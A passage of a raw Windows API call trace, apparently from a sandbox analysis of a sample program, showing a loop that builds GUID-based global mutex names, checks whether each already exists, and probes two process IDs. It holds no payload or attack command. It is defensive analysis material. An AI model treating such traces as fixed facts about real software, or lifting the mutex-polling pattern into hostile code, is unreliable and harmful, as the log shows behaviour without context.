[2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.237] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0133.238] GetLastError () returned 0xb7 [0133.238] CloseHandle (hObject=0x56c) returned 1 [0133.238] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.238] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0133.238] GetLastError () returned 0xb7 [0133.238] CloseHandle (hObject=0x56c) returned 1 [0133.239] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.239] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0133.239] GetLastError () returned 0x0 [0133.239] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.239] CloseHandle (hObject=0x56c) returned 1 [0133.239] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.239] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0133.239] GetLastError () returned 0x0 [0133.239] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.239] CloseHandle (hObject=0x56c) returned 1 [0133.239] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.239] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0133.239] GetLastError () returned 0xb7 [0133.239] CloseHandle (hObject=0x56c) returned 1 [0133.246] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.246] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0133.247] GetLastError () returned 0xb7 [0133.247] CloseHandle (hObject=0x56c) returned 1 [0133.346] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.346] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x514 [0133.346] GetLastError () returned 0xb7 [0133.346] CloseHandle (hObject=0x514) returned 1 [0133.347] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.347] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x514 [0133.347] GetLastError () returned 0xb7 [0133.347] CloseHandle (hObject=0x514) returned 1 [0133.347] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.347] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x514 [0133.347] GetLastError () returned 0x0 [0133.347] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.348] CloseHandle (hObject=0x514) returned 1 [0133.348] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.348] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x514 [0133.348] GetLastError () returned 0x0 [0133.348] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.348] CloseHandle (hObject=0x514) returned 1 [0133.348] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.348] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x514 [0133.348] GetLastError () returned 0xb7 [0133.348] CloseHandle (hObject=0x514) returned 1 [0133.355] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.355] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x514 [0133.355] GetLastError () returned 0xb7 [0133.355] CloseHandle (hObject=0x514) returned 1 [0133.456] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.456] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x514 [0133.456] GetLastError () returned 0xb7 [0133.456] CloseHandle (hObject=0x514) returned 1 [0133.456] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.456] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x514 [0133.456] GetLastError () returned 0xb7 [0133.456] CloseHandle (hObject=0x514) returned 1 [0133.457] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.457] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x514 [0133.457] GetLastError () returned 0x0 [0133.457] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.457] CloseHandle (hObject=0x514) returned 1 [0133.457] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.457] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x514 [0133.458] GetLastError () returned 0x0 [0133.458] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.458] CloseHandle (hObject=0x514) returned 1 [0133.458] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.458] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x514 [0133.458] GetLastError () returned 0xb7 [0133.458] CloseHandle (hObject=0x514) returned 1 [0133.465] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.465] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x514 [0133.465] GetLastError () returned 0xb7 [0133.465] CloseHandle (hObject=0x514) returned 1 [0133.580] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.581] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x514 [0133.581] GetLastError () returned 0xb7 [0133.581] CloseHandle (hObject=0x514) returned 1 [0133.581] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.581] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x514 [0133.581] GetLastError () returned 0xb7 [0133.581] CloseHandle (hObject=0x514) returned 1 [0133.582] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.582] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x514 [0133.582] GetLastError () returned 0x0 [0133.582] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.582] CloseHandle (hObject=0x514) returned 1 [0133.582] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.582] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x514 [0133.582] GetLastError () returned 0x0 [0133.582] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.582] CloseHandle (hObject=0x514) returned 1 [0133.582] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.582] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x514 [0133.582] GetLastError () returned 0xb7 [0133.582] CloseHandle (hObject=0x514) returned 1 [0133.590] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.590] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x514 [0133.590] GetLastError () returned 0xb7 [0133.590] CloseHandle (hObject=0x514) returned 1 [0133.690] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.690] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x514 [0133.690] GetLastError () returned 0xb7 [0133.690] CloseHandle (hObject=0x514) returned 1 [0133.690] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.690] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x514 [0133.690] GetLastError () returned 0xb7 [0133.690] CloseHandle (hObject=0x514) returned 1 [0133.691] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.691] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x514 [0133.691] GetLastError () returned 0x0 [0133.691] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.691] CloseHandle (hObject=0x514) returned 1 [0133.691] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.691] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x514 [0133.691] GetLastError () returned 0x0 [0133.691] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.691] CloseHandle (hObject=0x514) returned 1 [0133.691] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.692] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x514 [0133.692] GetLastError () returned 0xb7 [0133.692] CloseHandle (hObject=0x514) returned 1 [0133.698] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.699] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x514 [0133.699] GetLastError () returned 0xb7 [0133.699] CloseHandle (hObject=0x514) returned 1 [0133.800] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.800] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x514 [0133.800] GetLastError () returned 0xb7 [0133.800] CloseHandle (hObject=0x514) returned 1 [0133.800] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.800] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x514 [0133.800] GetLastError () returned 0xb7 [0133.800] CloseHandle (hObject=0x514) returned 1 [0133.801] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.801] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x514 [0133.801] GetLastError () returned 0x0 [0133.801] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.801] CloseHandle (hObject=0x514) returned 1 [0133.801] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.801] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x514 [0133.801] GetLastError () returned 0x0 [0133.801] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.801] CloseHandle (hObject=0x514) returned 1 [0133.802] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.802] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x514 [0133.802] GetLastError () returned 0xb7 [0133.802] CloseHandle (hObject=0x514) returned 1 [0133.809] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.809] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x514 [0133.809] GetLastError () returned 0xb7 [0133.809] CloseHandle (hObject=0x514) returned 1 [0133.924] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0133.924] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x514 [0133.924] GetLastError () returned 0xb7 [0133.924] CloseHandle (hObject=0x514) returned 1 [0133.924] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0133.924] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x514 [0133.924] GetLastError () returned 0xb7 [0133.924] CloseHandle (hObject=0x514) returned 1 [0133.925] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0133.925] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x514 [0133.925] GetLastError () returned 0x0 [0133.925] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0133.925] CloseHandle (hObject=0x514) returned 1 [0133.925] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0133.925] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x514 [0133.925] GetLastError () returned 0x0 [0133.925] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0133.925] CloseHandle (hObject=0x514) returned 1 [0133.926] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0133.926] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x514 [0133.926] GetLastError () returned 0xb7 [0133.926] CloseHandle (hObject=0x514) returned 1 [0133.933] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0133.933] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x514 [0133.933] GetLastError () returned 0xb7 [0133.933] CloseHandle (hObject=0x514) returned 1 Thread: id = 95 os_tid = 0x6e0 [0102.658] StringFromGUID2 (in: rguid=0x4f1eaf8*(Data1=0x85b47b09, Data2=0xc8e3, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, 